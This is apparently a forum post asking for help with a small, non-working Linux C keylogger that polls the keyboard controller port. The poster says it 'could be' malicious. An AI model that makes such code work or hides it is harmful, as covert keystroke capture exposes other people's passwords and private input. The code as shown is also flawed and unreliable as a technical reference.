I am sorry if this is in any way against the rules; the code isn't intended to be malicious, though it could be. If it is that bad, please delete/lock the thread instead of banning me.

So, I'm creating a keylogger, and it's not working as expected. Currently the program reads directly into the keyboard port (0x64), and then prints out that character. It echo's my characters when I type into the program, but when I type in a different program, it doesn't detect them. It's not very functional yet, but here is the code:

Code:

#include <stdio.h>
#include <sys/io.h>

#define KEYBOARD 0x64

main()
{
    unsigned char c;

    iopl(3);
    ioperm(KEYBOARD, 0, 1);

    while (c = inb(KEYBOARD))
        if (c != '4' && c != '5')    /* mouse related stuff */
            printf("%c", c);

    ioperm(KEYBOARD, 0, 0);
}

Thanks for reading/responding.